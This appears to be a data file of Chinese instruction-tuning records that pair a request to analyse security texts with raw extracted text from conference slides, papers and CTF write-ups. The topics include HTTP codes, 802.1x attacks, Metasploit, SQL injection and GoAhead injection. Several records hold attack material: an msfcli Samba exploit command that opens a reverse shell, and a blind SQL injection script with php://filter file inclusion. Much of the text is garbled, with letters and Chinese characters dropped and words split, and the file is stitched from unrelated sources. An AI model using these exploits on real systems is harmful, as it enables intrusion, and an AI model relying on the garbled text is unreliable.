HTTP STATUS CODES Seems like such a Small detail small detail, big impact This talk contains: - Numbers - Bad Jokes - Traces of peanuts - Did I mention numbers? HTTP Status Codes Majority part of RFC 2616 (HTTP/1.1) 5 main classes of response 1XX informaOonal 2XX success 3XX redirecOon 4XX client error 5XX server error HTTP Status Codes Proposed RFC* for 7XX codes Examples: 701 Meh 719 I am not a teapot 721 Known unknowns 722 Unknown unknowns 732 Fucking Unicde * h]ps://github.com/joho/7XX-rfc BASICS AKA: THE BORING THEORY BIT #1.1 1XX Informaeonal Indicates response received Processing is not yet completed 100 Conenue 101 Switching Protocols 102 Processing (WebDAV RFC 2518) 2XX Success Indicates response received Processed and understood 200 OK 201 Created 202 Accepted 203 Non-Authoritaeve Informaeon 204 No Content 2XX Success (cont.) 205 Reset Content 206 Pareal Content 207 Mule-Status (WebDAV RFC 4918) Codes not supported by Apache 208 Already Reported 226 IM Used 250 Low on Storage Space 3XX Redireceon Aceon required to complete request 300 Muleple Choices 301 Moved Permanently 302 Found / Moved Temporarily 303 See Other 304 Not Modified 3XX Redireceon (cont.) 305 Use Proxy 306 Switch Proxy 307 Temporary Redirect Codes not supported by Apache 308 Permanent Redirect 4XX Client Error Client caused an error 400 Bad Request 401 Unauthorized 402 Payment Required 403 Forbidden 404 Not Found 405 Method Not Allowed 4XX Client Error (cont.) 406 Not Accessible 407 Proxy Authenecaeon Required 408 Request Timeout 409 Conflict 410 Gone 411 Length Required 4XX Client Error (cont.) 412 Precondieon Failed ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHacking Your Thoughts: Batman Forever meets Black Mirror Katherine Pratt DEFCON 27 10 Aug 19 The Standard Disclaimer The work in this presentation was done at the University of Washington as part of a PhD dissertation. The results and views presented here do not necessarily represent those of my funding sources or my current employer. 2 3 PLEASE NOTE: There is a difference between telepathy and targeted elicitation of information. 4 PLEASE NOTE: There is a difference between telepathy and targeted elicitation of information. Things NOT Covered by This Presentation Aliens are not involved I know nothing about any chips that the government has implanted 5 Summary of Presentation Motivating the research Some experimental result Do consumers care about their neural privacy? Thoughts about proactive policy solutions What do I want all of you to do? 6 Motivating the Research 7 Data in the 21st Century Targeted advertising and consumer profiles are a boon for commercialism, but require massive amounts of data 8 Data in the 21st Century Targeted advertising and consumer profiles are a boon for commercialism, but require massive amounts of data Companies are searching for more ways to learn about consumers, including finding untapped sources of data 9 Data in the 21st Century Targeted advertising and consumer profiles are a boon for commercialism, but require massive amounts of data Companies are searching for more ways to learn about consumers, including finding untapped sources of data Obtaining biometrics, or bodily-based information, is becoming feasible with wearables and smartphones 10 Data in the 21st Century Targeted advertising and consumer profiles are a boon for commercialism, but require massive amounts of data Companies are searching for more ways to learn about consumers, including finding untapped sources of data Obtaining biometrics, or bodily-based information, is becoming feasible with wearables and smartphones Another source of biometric i", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n101 Ways to Brick Your Hardware (With some un-bricking tips sprinkled in for good measure) Joe FitzPatrick & Joe Grand (Kingpin) Overview Whats a Brick? Kinds of Bricks 001: Bricking Firmware 010: Bricking PCBs 011: Bricking Connectors 100: Bricking ICs 101: Bricking WTF scenarios Recap and Best Practices Whats a Brick? Whats a Brick? Shows signs of life Doesnt boot or work as intended May be soft-unbrickable Typically a software or configuration problem Soft Brick Hard Brick Little or no sign of life Doesnt even power on or flash lights Probably needs hardware hacking to fix it 101 Kinds of Bricks 001: Bricking Firmware 010: Bricking PCBs 011: Bricking Connectors 100: Bricking ICs 101: Bricking WTF scenarios Blanking, wiping, erasing, corrupting, or otherwise invalidating your devices firmware 001: Bricking Firmware > xxd firmware.bin 0000000: dead dead dead dead dead dead dead dead ................ 0000010: dead dead dead dead dead dead dead dead ................ 0000020: dead dead dead dead dead dead dead dead ................ 0000030: dead dead dead dead dead dead dead dead ................ 0000040: dead dead dead dead dead dead dead dead ................ 0000050: dead dead dead dead dead dead dead dead ................ 0000060: dead dead dead dead dead dead dead dead ................ Flashing Bad Firmware: DEFCON 18 Bootloader Bootloader not in protected region Screw up during linking can cause bootloader to be overwritten Un-bricked through JTAG interface & MC56F8006 development tools Wiping Critical Sections: Chromebook Firmware binwalks histogram shows entropy in a file Top: Physical extraction of BIOS via SPI Bottom: Software dump via flashrom The two firmwares are different because the CPU blocks access to the ME region for software reads ? Wiping Critical Sections: Chromebook Firmware Touching Signed Filesystems: Acer C720 Chromebook Mount R/O filesystem as R/W Make changes and reboot Kernel verifies rootfs before mounting Mismatch causes error C", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nwindows服务工作原理 windows服务是一种可以在后台完成任务的程序服务程序一般随着系统启动而启动启动权限一般是 systemwindows vista开始为了提升系统的安全性将服务程序放在session 0运行和我们普通的用 户态程序运行在不同的session级别我们无法跨session进行交互因此保证了服务程序的安全我们 随便找一个服务用 process hacker打开他的进程就可以看到如下信息 服务程序不需要用户界面所以服务程序通常是以控制台程序的形式编写的入口函数是main函数一 个服务一般由三部分组成 1. Service control Manager(SCM),SCM存在于Service.exe中,在windows启动的时候会自动运行此 进程以系统特权运行并且提供一个统一的安全的手段去控制服务它其实是一个RPCServer SCM中包含一个存储着已安装的服务和驱动程序的信息的数据库通过SCM可以统一的安全地管 理这些信息一个服务的安装需要将自身写入这个数据库 2. 服务本身一个服务需要拥有从SCM收到信号和命令所必须的特殊代码并且能够在处理后将它的 状态回传给SCM 3. 第三部分是service control dispatcherSCP有用户界面允许用户开始停止暂停继续一个服 务SCP的作用是跟SCM通讯 服务很重要的函数 1. 入口函数中调用SCM通知函数 如果是exe程序那么入口函数一般就指的是main或者winmain函数通常在服务程序的入口函数使用 StartServiceCtrlDispatcher 函数通知SCM可执行程序包含几个服务因为一个exe中可以注册多个 服务程序每个服务的入口回调函数地址是什么 SERVICE_TABLE_ENTRYA结构体的定义如下 当SCM执行服务程序的时候SCM为这个进程中每一个lpServiceStartTable指向的每一个服务产生一个 线程并且入口地址是lpServiceProcSCM启动一个服务程序之后它会等待该程序的主线程去 调 StartServiceCtrlDispatcher如果那个函数在两分钟内没有被调用SCM将会认为这个服务有问题并 调用 TerminateProcess去杀死这个进程这就要求你的主线程要尽可能快的调用 StartServiceCtrlDispatcher StartServiceCtrlDispatcher函数并不是立即返回而是等待所有服务线程退出后才会返回所以不需要 用户自己构造死循环来防止你的程序的主线程退出导致进程结束StartServiceCtrlDispatcher 被调用后 会陷入一个主循环中当在该循环内StartServiceCtrlDispatcher悬挂起自己等待下面两个事件中的 一个发生 第一如果SCM要去送一个控制通知给运行在这个 进程内一个服务的时候这个线程就会激活当控制 通知到达后线程激活并调用相应服务的CtrlHandler函数CtrlHandler函数处理这个 服务控制通知 并返回到StartServiceCtrlDispatcherStartServiceCtrlDispatcher循环回去后再一次悬挂自己 第二如果服务线程中的一个服务中止这个线程也将激活在这种情况下该进程将运行在它里面的 服务数减一如果服务数为 零StartServiceCtrlDispatcher就会返回到入口点函数以便能够执行任何 与进程有关的清除工作并结束进程如果还有服务在运 行哪怕只是一个服务 StartServiceCtrlDispatcher也会继续循环下去继续等待其它的控制通知或者剩下的服务线程中止 因为此函数需要SCM通讯所以该函数所在的进程必须由SCM启动不可以用户通过双击启动双击启 动会造成SCM通讯失败从而导致函数调用失败 2. 服务线程入口函数 此函数就是StartServiceCtrlDispatcherA传递给SCM促使其为每个服务启动的函数一般命名为 ServiceMain ,需要如下形式: 此函数由操作系统调用并执行能完成服务的代码服务线程入口函数必须在80秒内完成初始化工作 有两个必不可少的工作第一项工作是调用 RegisterServiceCtrlHandler 通知SCM此服务的 CtrlHandle的回调函数地址: BOOL StartServiceCtrlDispatcher( const SERVICE_TABLE_ENTRYA *lpServiceStartTable ); typedef struct _SERVICE_TABLE_ENTRYA { LPSTR lpServiceName; //服务名称 LPSERVICE_MAIN_FUNCTIONA lpService", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nOwning the LAN in 2018 Defeating MACsec and 802.1x-2010 DEF CON 26 Gabriel solstice Ryan Disclaimers & Updates These slides are an early version designed for pre-release prior to DEF CON 26. All content will be updated by the time of the presentation at DEF CON 26 in August. Final versions of all content will be available at: https://www.digitalsilence.com/blog/ About: Digital Silence Denver-based security consulting firm: Penetration testers who give a !@#$ Red teaming Penetration Testing Reverse-engineering / advanced appsec / research Twitter (for those of you who are into that sort of thing): @digitalsilence_ About: Gabriel Ryan (a.k.a. solstice) Co-Founder / Senior Security Assessment Manager @ Digital Silence Former Gotham Digital Silence, former OGSystems Red teamer / Researcher / New Dad Twitter: @s0lst1c3 LinkedIn: ms08067 Email: gabriel@digitalsilence.com Introduction to 802.1x The 802.1x authentication protocol: Authentication protocol Used to protect a local area network (LAN) or wireless local area network (WLAN) with rudimentary authentication What is 802.1x? Authentication protocol Used to protect a local area network (LAN) or wireless local area network (WLAN) with rudimentary authentication 802.1.x defines an exchange between three parties: supplicant the client device that wishes to connect to the LAN [1][2][9] authenticator a network device such as a switch that provides access to the LAN [1][2][9] authentication server a host that runs software that implements RADIUS or some other Authorization, Authentication, and Accounting (AAA) protocol [1][2][9] authenticator can be thought of as a gatekeeper supplicant connects to a switch port and provides the authenticator with its credentials [1][2][9] authenticator forwards credentials to the authentication server [1][2][9] Authentication server validates the credentials, and either allows or denies access the network [1][2][9] 802.1x is (typically) a four step sequence: 1. Initiali", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n研发运营一体化DevOps 标准体系及能力成熟度模型解读 萧田国 DevOps时代社区发起人 高效运维社区发起人 个人介绍 萧田国 高效运维社区 发起人 DevOps 时代社区 发起人 DevOps 标准体系 联合发起人 DevOpsDays 中国 联合发起人 开放运维联盟主席 复旦大学特聘讲师 分享内容 1DevOps 及缘起 2DevOps 能力成熟度模型 解读 3DevOps 能力成熟度模型 核心贡献者 4DevOps 能力成熟度模型 本次重磅发布 5DevOps 能力成熟度模型 评估参与办法 DevOps 及缘起 2008年Patrick Debois 等初次提出 DevOps 2009年Patrick Debois 发起 DevOps 运动 DevOps 是什么 开发和运维的缩写 DevOps 是一组最佳实践 Ø 强调业务人员及IT专业人员开发测试运维等在应 用和服务生命周期中的协作和沟通 Ø 强调整个组织的合作以及交付和基础设施变更的自动化 从而实现持续集成持续部署和持续交付 DevOps敏态IT的实现之道 DevOps技术的集大成者 企业级 DevOps服务于业务目标 DevOps 更需要面向业务目标助力业务成功 //不是技术噱头和技术人员的玩具 以是否提高了企业的市场占有率营收和利润为衡量标准 //不耍流氓 顺畅高质量的交付有用的价值 //有效应对 VUCA 挑战快速灵活响应变化 DevOps 道法术器 道 快速交付价值灵活响应变化 法 全局打通敏捷开发 & 高效运维 术 系统应用指导原则最佳实践 器 端到端工具链相互联通和整合 大道总括性的原则 战术具体的手段 法则相关标准 工具落地的实践 主管单位工信部 中国信息通信研究院国家级智库可信云等出品单位 OSCAR联盟 目前起草高效运维社区腾讯京东浙江移动中国电信中国银行华泰证券中国太保等 目前进展已于2017年12月正式立项 法DevOps 标准研发运营一体化能力成熟度模型 级别 英文 中文 1级 Regressive 阻碍的 2级 Repeatable 可重复的 3级 Consistent 一致的 4级 Quantitative 量化的 5级 Optimizing 优化的 研发运营一体化DevOps能力成熟度模型系列标准 系列 标准 研发运营一体化DevOps能力成熟度模型 第1部分 总体架构 研发运营一体化DevOps能力成熟度模型 第2部分 敏捷开发 研发运营一体化DevOps能力成熟度模型 第3部分 持续交付 研发运营一体化DevOps能力成熟度模型 第4部分 技术运营 研发运营一体化DevOps能力成熟度模型 第5部分 应用设计 研发运营一体化DevOps能力成熟度模型 第6部分 风险管理 研发运营一体化DevOps能力成熟度模型 第7部分 组织结构 敏捷开发管理 持续交付 技术运营 应用设计 组织结构 部分标准编写成员所在单位 DevOps 标准试评估浙江移动 DevOps标准体系 本次重磅发布 标准1整体架构更新 标准2敏捷开发管理更新 标准3持续交付更新 标准7组织结构新增 相关需求请联系@牛女士 邮箱niuxiaoling@caict.ac.cn 电话010-62300559 相关需求请@杨女士 邮箱yangwenhui@greatops.net 电话13021086339 认证评估 培训 THANKS", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBuilding a Threat Intelligence Program Michael Smith, CISSP-ISSEP APJ Security CTO mismith@akamai.com @rybolov 2015 AKAMAI | FASTER FORWARDTM Straw Poll: What Is Threat Intelligence? Data feeds for purchase Big Data, Big Data, Big Data OSINT Output from a SIEM Tools dumps Executive reports Reporting from your vendors Blogs and RSS Things that if you ignore youre now negligent Too much noise, not enough signal The greatest thing since Hainanese Chicken Rice 2015 AKAMAI | FASTER FORWARDTM Akamai CSIRT Customer Security Incident Response Team (CSIRT): Incident Response for Akamai customers HTTP(s), DNS, and the infrastructure Threat briefs Out of scope: APT, endpoints, email, authentication We collect and provide information: OSINT Coordination with peer CERT/SIRT/SOC Threat intelligence Discussions with policy-makers Customer outreach (internal and direct) 2015 AKAMAI | FASTER FORWARDTM Qualities of Good Intelligence Intelligence Accurate Timely Relevant 2015 AKAMAI | FASTER FORWARDTM How the Intelligence World Does It Intelligence Requirements (questions to answer) Indicators (which data points can prove/disprove the question) Coverage (how to find out the data points) 2015 AKAMAI | FASTER FORWARDTM Akamai CSIRTs Intelligence Requirements Which customers need our help as incident responders? Which active or future campaigns target our customers? Have any customers been impacted by an attack? Are their any attacks that could spread to other targets? Are there any additional things that we can do to protect our customers? Are there any new tools that evade our controls set? Are there any attack indicators that we should be looking for temporarily during an event? Have we seen any new types of attacks? Are there activities associated with particular attacks that we should also look for? 2015 AKAMAI | FASTER FORWARDTM My Sources Incident response activities: alerts and investigations OSINT Scumblr Site scraping Is it a customer? tool Email lists ISACs Financia", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMetasploit 基础知识 整理此文档纯粹出于兴趣爱好如果有涉及版权的问题请联系原文档的作者. 由于本人能力有限文档中难免会有些错误欢迎大家来信指正. [原文]http://www.offensive-security.com/metasploit-unleashed/ Metasploit 基础知识 Metasploit 框架提供了多种不同的接口每个接口都有自己的优势与不足尽管如此目前仍 没有一个很好的接口用于使用 MSF尽管 msfconsole 能够访问 Metasploit 的众多特性当 然了解熟悉 MSF 提供的所有接口多工作还是很有效的 Msfcli Msfcli 为 framework 提供了一个强劲的命令行接口. root@kali:~# msfcli -h Usage: /opt/metasploit/msf3/msfcli [mode] ======================================================================= Mode Description ---- ----------- (A)dvanced 查看模块可用的一些高级参数 (AC)tions 显示附加模块的可用操作 (C)heck 对所选模块进行常规检查 (E)xecute 执行所选模块 (H)elp 显示 Msfcli 帮助信息 (I)DS Evasion 显示模块可用的 IDS 逃逸机制 (O)ptions 显示模块参数选项 (P)ayloads 显示模块可用的攻击载荷 (S)ummary 显示模块的整体信息 (T)argets 显示溢出模块可选的目标类型 msfcli 使用 = 为参数选项赋值所有选项对大小写敏感 root@kali:~# msfcli exploit/multi/samba/usermap_script RHOST=172.16.194.172 PAYLOAD=cmd/unix/reverse LHOST=172.16.194.163 E [*] Please wait while we load the module tree... ## ### ## ## ## ## #### ###### #### ##### ##### ## #### ###### ####### ## ## ## ## ## ## ## ## ## ## ### ## ####### ###### ## ##### #### ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ##### ## ## ## ## ## ## ## #### ### ##### ##### ## #### #### #### ### ## =[ metasploit v4.5.0-dev [core:4.5 api:1.0] + -- --=[ 936 exploits - 500 auxiliary - 151 post + -- --=[ 252 payloads - 28 encoders - 8 nops =[ svn r15767 updated today (2012.08.22) RHOST => 172.16.194.172 PAYLOAD => cmd/unix/reverse [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo cSKqD83oiquo0xMr; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: \"cSKqD83oiquo0xMr\\r\\n\" [*] Matching... [*] A is input... [*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:57682) at 2012-06-14 09:58:19 -0400 uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux 如果你不清楚某个模块有哪些参数可以在所选模块字符串后面加上大写", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Binary Gauntlet 2 Category: Binary Exploitation, 50 points ## Description > How does ASLR affect your exploit? A binary file was attached. ## Solution This is the follow-up for [Binary Gauntlet 1](Binary_Gauntlet_1.md). Let's run `checksec` on the file: ```console (user@kali)-[/media/sf_CTFs/pico/Binary_Gauntlet_2] $ checksec --file=gauntlet [*] '/media/sf_CTFs/pico/Binary_Gauntlet_2/gauntlet' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments ``` We can see that there are virtually no protections for this program. The description says that they've enabled ASLR though, which means that some addresses should get randomized. Using Ghidra, we can check the decompiled output of the program: ```c undefined8 main(void) { char local_78 [104]; char *local_10; local_10 = (char *)malloc(1000); fgets(local_10,1000,stdin); local_10[999] = '\\0'; printf(local_10); fflush(stdout); fgets(local_10,1000,stdin); local_10[999] = '\\0'; strcpy(local_78,local_10); return 0; } ``` The local buffer address leak from the previous challenge is gone. If we're able to find it using another method, we'll be able to replicate our exploit from the previous challenge by copying some shellcode to the local buffer and jumping to it. To leak the buffer address, we'll use a vulnerability which has existed since the first challenge but wasn't needed until now: A format string vulnerability. A format string vulnerability is when the program allows the user to control the first parameter to `printf`. This means that the user can provide format string specifiers such as `%x`, `%s` or `%p` and leak data from the stack. We'll want to use this vulnerability to leak the address of the local buffer, so that we can jump to it and execute our shellcode from it. Let's run the program in the debugger and check the address of the local buffer. But first, we'll check the disassembly and see where the buffer starts: ```assembly 0x00000000004", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nbuilding the @shortxstack @sethlaw intros whitney champion senior systems engineer https://unicorns.lol @shortxstack seth law appsec consultant https://redpointsecurity.com @sethlaw inception what had happened was... android v1.0 iOS v1.0 its official pain points scheduling dont trust hax0rs bug fixes at all hours finding time waiting on [REDACTED] overhaul kotlin overhaul ui redesign multiple conferences high points easter eggs attendee feedback community involvement lessons learned haters gonna hate github issues waiting on [REDACTED] backup plans going forward more streamlined iOS/android parity scheduling app more conferences feedback is always welcome :) questions? thank you <3 @shortxstack @sethlaw", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n某Air客户端0click RCE分析 前 某Air客户端的RCE漏洞曝出来有段时间了前已经分析了如何利%00截断实现双击 附件即可执exe的效果[详情附件1] 本就再进步借助个XSS实现打开邮件即可触 发RCE XSS挖掘 翻了下件发现客户端显示邮件的是HTML写的客户端调cef渲染HTML HTML件在 cmclient\\app\\template\\readMail 录中其中 index.html 是内容 readMail.html 是邮件正的模板打开邮件时客户端会依照这个模板成个包含邮件正 的完整html放在 C:\\Users\\Administrator\\AppData\\Roaming\\Cm\\CMClient\\temp\\mail 录通过 iframe包含在中简单看下代码很容易就能发现两个疑似的XSS漏洞点 第个点在index.html中 如果这 mailId 可控的话也许可以使单引号构造个XSS但是没找到控制mailId的办 法且这还是需要点击才能触发满不了预期 第个点在邮件正中Air客户端在处理邮件正的时候虽然去掉了 ``` If we try to login as `admin`, we get an error: ```console root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# curl \"https://2019shell1.picoctf.com/problem/37903/\" -H \"Content-Type: application/x-www-form-urlencoded\" --data \"user=admin\" ...

    YOU CANNOT LOGIN AS THE ADMIN! HE IS SPECIAL AND YOU ARE NOT.

    ... ``` However, logging in as another user is allowed: ```console root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# curl \"https://2019shell1.picoctf.com/problem/37903/\" -H \"Content-Type: application/x-www-form-urlencoded\" --data \"user=john\" -v * Try", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n11 Machine Learning 22 Machine Learning as a Tool 33 Machine Learning as a Tool for Societal Exploitation 44 A Summary on the Current and Future State of Affairs 55 A Bit About Me (Im going to pretend you care) 66 F1F1cin Student at Columbia University in New York Independent Researcher Mostly focus on malware Probably younger than you think I want to hack a human one day (judge all you want) 77 Current State The Common and the Uncommon 88 Standard Uses (generally beneficial, sometimes concerning) 99 The Human Side Financial Trading Sports Injuries [courtesy of Quantum Black] 1010 The Technical Side Data Security Antivirus Software Endpoint Detection Systems 1111 The Technical Side Data Security Antivirus Software Endpoint Detection Systems Normal people dont think about this (?) 1212 Uncommon Uses (usually concerning, generally cool) R EALLY 1313 Crazy Dystopian S**t Ambient Sound Mapping Determine precise location and orientation through microphone-embedded devices [without consent] Individual Profling Recreating the human based on digital fngerprints 1414 Ambient Sound Mapping 1515 Crazy Dystopian S**t Ambient Sound Mapping Determine precise location and orientation through microphone-embedded devices [without consent] Individual Profling Recreating the human based on digital fngerprints Actually more common than I give it credit for 1616 Individual Profiling 1717 The Future of Attack 1818 FIRST THING TO REMEMBER 1919 AI is NOT Attackproof (Im sure you know this) 2020 AI is NOT Attackproof Attack isnt limited to using AI as a weapon 2121 AI is NOT Attackproof Attack isnt limited to using AI as a weapon Attack can mean attacks targetted towards AI systems 2222 AI as a Weapon 2323 Current Experiments / Research / whatever you want to call it 2424 Whatever you want to call it Wargames [courtesy of Endgame] Intelligent Malware Adapting to a changing environment 2525 Attacks on AI Systems 2626 This is not what I Typically Do BUT 2727 This is", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nxauth === 显示和编辑被用于连接X服务器的认证信息 ## 补充说明 **xauth命令** 用于显示和编辑被用于连接X服务器的认证信息 ### 语法 ```shell xauth(选项)(参数) ``` ### 选项 ```shell -f不使用默认的认证文件而使用指定的认证文件 -q安静模式不打印未请求的状态信息 -v详细模式打印指定的各种操作信息 -i忽略认证文件锁定 -b执行任何操作终端认证文件锁定 ``` ### 参数 * add添加认证条目到认证文件中 * extract将指定的设备内容加入到指定的密码文件中 * info显示授权文件相关信息 * exit退出交互模式 * list列出给定的显示设备的内容 * merge合并多个授权文件内容 * extract将指定设备内容写入指定的授权文件 * nextrct将指定设备内容写入指定的授权文件 * nmerge合并多个授权文件内容 * remove删除指定显示设备的授权条目 * source从指定文件读取包含xauth的内容指令", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCo v ert Messaging Through TCP Timestamps John Gin Rac hel Greenstadt P eter Lit w ac k Ric hard Tibb etts fgifgreeniep li twa ck ti bb et tsg m it ed u Massac h usetts Institute of T ec hnology Abstract W e presen t a proto col for sending data o v er a common class of lo wbandwidth co v ert c hannels Co v ert c hannels exist in most com m unications systems and allo w individuals to comm unicate truly unde tectably Ho w ev er co v ert c hannels are seldom used due to their complex it y Our proto col is b oth practical and secure against attac k b y p o w erful adv ersaries W e implemen t our proto col on a standard platform Lin ux exploiting a c hannel in a common comm unications system TCP times tamps In tro duction A co v ert c hannel is a comm unications c hannel whic h allo ws information to b e transferred in a w a y that violates a securit y p olicy As a result co v ert c hannels are imp ortan t metho ds of censorship resistance An eectiv e co v ert c hannel is undetectable b y the adv ersary and can pro vide a strong degree of priv acy Often the fact that secret comm unication is taking place b et w een parties is extremely rev ealing Consider the prisoners problem rst form ulated b y Simmons Alice and Bob are in prison attempting to plan an escap e They are allo w ed to comm uni cate but a W arden w atc hes all of their comm unications If the W arden notices that they are planning to escap e or ev en susp ects them of trying to comm unicate secretly they will b e placed in solitary connemen t The prisoners problem is theoretically in teresting and pro vides a go o d ex planation of the problem that co v ert c hannels solv e this problem is increasingly relev an t in real w orld situations Man y go v ernmen ts pro vide restrictions on the use of cryptograph y on their systems The situation is particularly extreme in China where all ISPs are sub ject to go v ernmen t con trol although electronic systems are increasingly sub ject to surv eillance in all ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# V1rus3pidem1c (web 100) ## ENG [PL](#pl-version) In the task we get a webpage where we can select a country from dropdown and for some countries this shows us file upload form and for some of them it doesn't. For example there is a form for `Germany` and no form for `Russia`. The country name is passed as GET parameter in the query, and we decide to see what exactly is done with it. A little bit of fuzzing tells us that it goes into some SQL query into where condition. With classic `country=Russia' or '1'='1` we get a form for Germany, which means we managed to exploit the task with SQL Injection. We tried a bit to get some echo here, but couldn't, so we simply switched to run Blind SQLi attack. We got a simple oracle function: ``` import requests session = requests.session() def is_true(condition): url = \"http://tasks.ctf.com.ua:13372/index.php?country=Russia' or (%s) -- a\" % condition result = session.get(url) return 'virus for Germany' in result.text def main(): print(is_true(\"1=1\")) print(is_true(\"1=0\")) main() ``` And with this we can extract `Information_Schema.Tables` and `Information_Schema.Columns` data, with simple substring and byte-by-byte comparison using the oracle function. This tells us there we have only a single user defined table and it contains only `countryID, countryName, scriptPath`. Last parameter is especially interesting since it's an actual path to php script with form, which gets included on the page. It's in form: `country/ge.php`, `country/tu.php` etc. We could use our SQLi to include some other file by `index.php?country=' union select 'somefile.php' -- comment`, but we can't put any file on the server. But since we control the include path we decided to check good old php wrappers and force the server to include: `php://filter/read=convert.base64-encode/resource=country/ge.php` and as expected we get a nice base64 contents of the php script. It seems that the files uploaded by the form available for some countries actually get uploa", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nFeei Github敏敏感信息泄露露监控 止介 Feei 吴止介Feei 介绍 白帽子 美丽联合集团 安全项目总监 专注漏漏洞洞自动化发现与防御 Feei 议程 背景 爬取方案 特征思路路 规则设计 报告 误报 未来 Feei 背景 以技术手段杜绝由于员工意识问题导致的Github敏敏感信息泄露露 Feei 爬取方案 爬取 Proxy+Page vs Token+API Feei 准实时与频率限制的取舍 爬取 CORP * RULES(N1) * (SEARCH + PAGES(N2) + (PAGE_LIST + HTML_URL + SHA + PATH + FULL_NAME + CONTENT) * PER_PAGE(N3)) N1= ?, N2 = 20, N3 = 50 Token Max Requests(5000) / Single Rule Requests(320) = Rules(15) Feei 内部特征 - 域名反查 通用内网域名特征 .net alipay.net taobao.net qihoo.net elenet.me 后缀 mogujie.org tuniu.org dianrong.io bilibili.co inc meili-inc.com sohu-inc.com alibaba-inc.com cainiao-inc.com corp ctripcorp.com 相似 wemomo.com Feei 内部特征 - Github模糊查询 通用模糊搜索词 domain.tld corp domain.tld dev domain.tld inc domain.tld pre domain.tld test domain inc domain copyright Feei 内部特征 Meili-Inc 内部域名 mogujie.org / meili-inc.com 对外邮箱 mail.mogujie.com Feei 内部特征 iQIYI 代码注释 IQIYI Inc 内部域名 qiyi.domain 主机 qiyi.virtual 数据库 qiyi.db 对外邮箱 mail.iqiyi.com Feei 内部特征 Baidu 代码注释 @baidu.com Baidu, Inc 内部域名 vm.baidu.com / epc.baidu.com iwm.name 主机 vm.baidu.com / nj01.baidu.com sh01.dba-nuomi-bgoods.sh01 数据库 xdb.all.serv db-dba-dbbk-001.db01 对外邮箱 smtp.baidu.com Feei 内部特征 Other 京东 jd.local 360 qihoo.net 搜狐 sohuno.com 苏宁 cnsuning.com 陌陌 wemomo.com 饿了了么 elenet.me 携程 ctripcorp.com 去哪儿 qunar.net 支付宝 alipay.net 淘宝 taobao.net 小米 mioffice.cn 菜鸟 cainiao-inc Feei 通特征 企业邮箱 exmail.qq.com qiye.163.com 263.net mxhichina.com icoremail.net 私密文档 账号 密码 微信密钥 appid appsecret QCloud密钥 privatekey publickey Feei 搜索特性 强制搜索 加引号比如meili-inc.com 横杠默认不不匹配 使用meili-inc.com搜索不不出使用meili inc.com则可以 分词特性 appsecret Feei 规则设计 Keywords 多个关键词可以用空格比如账号 密码 某些关键字出现的结果非常多所以需要精确搜索时可以用双引号括 起来比如ele.me Mode normal-match(default): 匹配包含keyword的行行并记录该行行附近行行 only-match:仅匹配包含keyword行行 full-match: 搜出来的整个问题都算作结果", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 pingOrce出题writeup ---种环境变量注劫 持bash的实际利场景 前 GoAhead GoAhead + bash 参考 前不久p分享了个利环境变量注劫持bash的技巧. 当时我就在想这种环境变量的注有没有什么较通的场景般遇到的环境变量注基本上都是直 接使ld_preload解决问题p的这种新的环境变量注的利技巧有没有什么特殊的利呢 嵌式设备常的Web服务器 GoAhead 出现过环境变量注漏洞 CVE-2017-17562 和 CVE-2021- 42342 漏洞的原理很简单服务器会把收到的CGI请求参数直接写到环境变量中 CVE-2017-17562 的修复案也很简单在写的环境变量前加 CGI_前缀 添加名单过滤实际上 效 但是这补丁并没有完全修复 在 multipart 表单请求遗漏了请求参数的处理 名单也没起作 所以就有了CVE-2021-42342 当时我在复现 CVE-2017-17562和CVE-2021-42342 时遇到了个问题. 我在上传件时发了500错误 控制台任何错误输出 阅读源码后我发现 GoAhead 上传件时会向个固定的临时件夹写临时件 默认为--home参数提供的录下的tmp 录 前 GoAhead 2 如果录不存在 或者是法写件就法完成上传流程在后来搜索漏洞分析的才发现了p的 章已经写过了我遇到的坑 还有些其他的学问题 在创建tmp录后我成功的完成了漏洞复现 这时我想到了个问题 嵌式设备多都是只读件系统即使是可写也没有创建这个临时录 那么这个漏洞在实际的场景下应该很难利 